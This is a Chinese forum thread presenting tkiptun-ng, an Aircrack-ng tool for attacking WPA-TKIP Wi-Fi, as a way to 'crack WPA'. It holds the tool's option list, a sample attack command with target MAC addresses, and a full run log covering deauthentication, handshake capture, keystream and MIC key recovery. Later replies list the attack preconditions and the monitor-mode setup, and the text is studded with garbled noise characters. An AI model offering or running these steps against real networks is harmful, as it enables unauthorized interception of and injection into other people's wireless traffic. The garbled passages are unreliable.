Aircrack-ng里的WPA-TKIP终结工具的使用说明(wpa已经被攻破)

dangdidiqq

使用方法: tkiptun-ng <options> <replay interface>
过滤选项:

• -d dmac : MAC address, 目的地址
• -s smac : MAC address, 源地址
• -m len : minimum packet length
• -n len : maximum packet length
• -t tods : frame control, To DS bit
• -f fromds : frame control, From DS bit
• -D : disable AP detection

; V/ K2 v# K/ OReplay 攻击选项:

• -x nbpps : number of packets per second
• -a bssid : set Access Point MAC address
• -c dmac : set Destination MAC address
• -h smac : set Source MAC address
• -F : choose first matching packet
• -e essid : set target AP SSID

Debug options:

• -K prga : keystream for continuation
• -y file : keystream-file for continuation
• -j : inject FromDS packets
• -P pmk : pmk for verification/vuln testing
• -p psk : psk to calculate pmk with essid

+ u, c0 M  D! o# @" [/ @Source options:

• -i iface : capture packets from this interface
• -r file : extract packets from this pcap file

• --help : Displays this usage screen

: g# V/ ?" f: m0 {
1 s  l% X/ u& j: @# H  U


# G/ {2 i0 Z1 J; e& c此工具名称为 tkiptun-ng，在aircrack-ng 1.0 rc2 第一次添加，当时不够完善，并没有能起到作用。
! I3 ?2 E+ k$ R, V7 E5 f4 l9 `

  g  R7 N0 n: L  W: s! J此工具PJ针对 wpa tkip加密，并且路由器开启qos（带宽限制，流量控制，协议控制等，老路由器不支持此功能）
7 ~# J) g5 }" S9 A) T! d
相信有点基础的都看的懂，我没有使用过，因为我这里没有这种ap。

附加完整工具下载，论坛上有人发过for linux版本，我这里再补上for windows版本
; n" a4 s9 o$ R' ^
windows版本里工具已经非常齐全，包括监听攻击PJ，和linux里的一样一样的，可以缺少了最关键的“驱动”，我把这个提出来，希望有人能把驱动开发出来，这样就不用两个系统转换那么麻烦了。

" Y" |) M8 U# x" h本帖隐藏的内容需要回复才可以浏览

xbzxjks

感谢楼主的分享，好东西！！！！

dangdidiqq

Input: 输入
- ~! \6 g: L; k- y8 _# m
! }8 T. I( s4 Y, Z! b- q
tkiptun-ng -h 00:0F:B5:AB:CB:9D -a 00:14:6C:7E:40:80 -m 80 -n 100 rausb0
* I1 u0 y8 I: b' t+ S: m+ e
Output: 输出
) t& I) {9 G3 P- A% T
/ K8 z, @% t. O( w The interface MAC (00:0E:2E:C5:813) doesn't match the specified MAC (-h).
1 [8 S. g6 }  u( E/ C) n4 T& k) G' u- S0 h      ifconfig rausb0 hw ether 00:0F:B5:AB:CB:9D
Blub 2:38 E6 38 1C 24 15 1C CF
Blub 1:17 DD 0D 69 1D C3 1F EE
. |' x3 m8 G2 Q! a Blub 3:29 31 79 E7 E6 CF 8D 5E
& o6 Y; U' p# o+ C 15:06:48  Michael Test: Successful
15:06:48  Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9
15:06:48  Found specified AP
15:06:48  Sending 4 directed DeAuth. STMAC: [00:0F:B5:AB:CB:9D] [ 0| 0 ACKs]
15:06:54  Sending 4 directed DeAuth. STMAC: [00:0F:B5:AB:CB:9D] [ 0| 0 ACKs]
15:06:56  WPA handshake: 00:14:6C:7E:40:80 captured
+ }+ f7 S. [. [. k 15:06:56  Waiting for an ARP packet coming from the Client...
  I" ~; `  _/ m- Y( ] Saving chosen packet in replay_src-0305-150705.cap
& B& q5 J9 j4 c 15:07:05  Waiting for an ARP response packet coming from the AP...
# H0 e) A2 y& v, x8 k Saving chosen packet in replay_src-0305-150705.cap
7 `4 y6 z- y: |" i/ c 15:07:05  Got the answer!
15:07:05  Waiting 10 seconds to let encrypted EAPOL frames pass without interfering.

. U6 R: M- A! B6 S( R! c: ]$ B 15:07:25  Offset   99 ( 0% done) | xor = B3 | pt = D3 |  103 frames written in 84468ms
0 D; E: g$ a+ s: [! B: V/ E 15:08:32  Offset   98 ( 1% done) | xor = AE | pt = 80 |   64 frames written in 52489ms
15:09:45  Offset   97 ( 3% done) | xor = DE | pt = C8 |  131 frames written in 107407ms
15:11:05  Offset   96 ( 5% done) | xor = 5A | pt = 7A |  191 frames written in 156619ms
15:12:07  Offset   95 ( 6% done) | xor = 27 | pt = 02 |   21 frames written in 17221ms
15:13:11  Offset   94 ( 8% done) | xor = D8 | pt = AB |   41 frames written in 33625ms
3 C  u! c$ p3 n 15:14:12  Offset   93 (10% done) | xor = 94 | pt = 62 |   13 frames written in 10666ms
15:15:24  Offset   92 (11% done) | xor = DF | pt = 68 |  112 frames written in 91829ms
Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
15:18:13  Offset   91 (13% done) | xor = A1 | pt = E1 |  477 frames written in 391139ms
15:19:32  Offset   90 (15% done) | xor = 5F | pt = B2 |  186 frames written in 152520ms
Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
! f: ^% L# c& b+ N7 ?! U8 M 15:22:09  Offset   89 (16% done) | xor = 9C | pt = 77 |  360 frames written in 295200ms
Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
$ T8 |* w. l3 f3 f7 j3 C Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
3 G0 p0 x# p7 g/ g; x 15:26:10  Offset   88 (18% done) | xor = 0D | pt = 3E |  598 frames written in 490361ms
+ F$ b6 ]8 h# F) |  G' j8 c 15:27:33  Offset   87 (20% done) | xor = 8C | pt = 00 |  230 frames written in 188603ms
* U( S+ C6 G8 o8 c  z 15:28:38  Offset   86 (21% done) | xor = 67 | pt = 00 |   47 frames written in 38537ms
# k, ~4 a& t5 |2 Q' P8 e. V, k. w 15:29:53  Offset   85 (23% done) | xor = AD | pt = 00 |  146 frames written in 119720ms
15:31:16  Offset   84 (25% done) | xor = A3 | pt = 00 |  220 frames written in 180401ms
15:32:23  Offset   83 (26% done) | xor = 28 | pt = 00 |   75 frames written in 61499ms
" G2 D1 S& h. C, T% H* V9 |1 ^: ` 15:33:38  Offset   82 (28% done) | xor = 7C | pt = 00 |  141 frames written in 115619ms
7 Y! @; a# I" P$ K& o 15:34:40  Offset   81 (30% done) | xor = 02 | pt = 00 |   19 frames written in 15584ms
; H9 d. u9 P/ @8 U" g0 n7 {( f 15:35:57  Offset   80 (31% done) | xor = C9 | pt = 00 |  171 frames written in 140221ms
$ c) x; ~5 M; R5 ]6 X- ` 15:37:13  Offset   79 (33% done) | xor = 38 | pt = 00 |  148 frames written in 121364ms
% m' }& t5 ~7 O& c9 t& i1 | 15:38:21  Offset   78 (35% done) | xor = 71 | pt = 00 |   84 frames written in 68872ms
Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
+ h1 k- d* O+ r1 c, z 15:40:55  Offset   77 (36% done) | xor = 8E | pt = 00 |  328 frames written in 268974ms
Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
! _# ^5 c" M) F/ L& s0 B! v 15:43:31  Offset   76 (38% done) | xor = 38 | pt = 00 |  355 frames written in 291086ms
* o; S3 n9 C8 r9 t$ L  G/ r 15:44:37  Offset   75 (40% done) | xor = 79 | pt = 00 |   61 frames written in 50021ms
) _& l% P6 R5 }( S7 l Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
15:47:05  Offset   74 (41% done) | xor = 59 | pt = 00 |  269 frames written in 220581ms
4 f4 g# x: T: g1 x4 ~( k( `9 M 15:48:30  Offset   73 (43% done) | xor = 14 | pt = 00 |  249 frames written in 204178ms
$ w+ E( }  {% U4 M* p/ I. O" I 15:49:49  Offset   72 (45% done) | xor = 9A | pt = 00 |  183 frames written in 150059ms
1 J3 C% t: o  x" E9 \  r3 ~ Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
15:52:32  Offset   71 (46% done) | xor = 03 | pt = 00 |  420 frames written in 344400ms
2 N3 t6 U  D7 Z! V9 |: V9 A 15:53:57  Offset   70 (48% done) | xor = 0E | pt = 00 |  239 frames written in 195980ms
1 G6 G! o) k5 @9 x; }* U9 z Sleeping for 60 seconds.36 bytes still unknown
ARP Reply
# o& K" V. ^7 j/ y( N# e Checking 192.168.x.y
15:54:11  Reversed MIC Key (FromDS): C3:95:10:04:8F:8D:6C:66

Saving plaintext in replay_dec-0305-155411.cap
5 D, L# a2 b' a! Y' T  i Saving keystream in replay_dec-0305-155411.xor
! x: E/ X0 F9 s2 o) d' d. }" S 15:54:11  
Completed in 2816s (0.02 bytes/s)

- r5 @; l% l- j7 {8 t 15:54:11  AP MAC: 00:40:F4:77:F0:9B IP: 192.168.21.42
7 Z1 y. V  D2 `( U$ h; @  | 15:54:11  Client MAC: 00:0F:B5:AB:CB:9D IP: 192.168.21.112
15:54:11  Sent encrypted tkip ARP request to the client.
3 \" g2 e) s6 f; j! S 15:54:11  Wait for the mic countermeasure timeout of 60 seconds.

twb777

好帖，可以破WPA

twb777

首先要具备3点必备的攻击条件
1 客户端和接入点必须使用WPA TKIP 而且客户端必须连接
8 l6 ^9 ^6 \7 A* D0 f+ {  l! i2 客户端和接入点必须使用的网络协议地址的IPv4,z!z%[&#65533;p(}bIb
1 y6 G, h3 N2 I3一个长期存在的时间延长键（重新输入间隔）必须设定的接入点。在大多数调制解调器/无线路由器使用TKIP ，这一时期是默认情况下设置为3600秒，从而使攻击(U)TI8B\;Ow&H+a;q
% i9 f3 [+ f% ?5 A( P% r# w  L以上3点基本上是没有问题了下面是就是攻击了4l?)S%L*ITUU
airmon-ng a 首先把网卡监视模式打开:输入airmon-ng start wlan0 注意我的网卡端口是wlan0不同的网卡端口都不一样可以用ifconfig -a 进行查看(E$b8c0}/F`$d
输入后出现的内如如下
PID     Name
2954    dhcpcd
2uDm;J0g@
, f* O- {. i+ ]3 n5 q

! `: \" \9 |+ k3 KInterface       Chipset         Driver-p#}3W K7X"aPGo
* s" ~2 Z$ h7 {- m4 V1 J0 {f.lh qt|B

wlan0           RTL8187         r8187 (monitor mode enabled)

acj

实际PJwpa加密的很简单

dangdidiqq

怎么都是乱码你从哪里复制过来的

liuzcb

{:3_62:}...................................

dangdidiqq

我顶上去。。。

sulsan

我跳水，扑通，扑通

sdypgl

想学习用这个，可也太贵了吧

like888

额 学习一下。。。

dangdidiqq

不能沉不能沉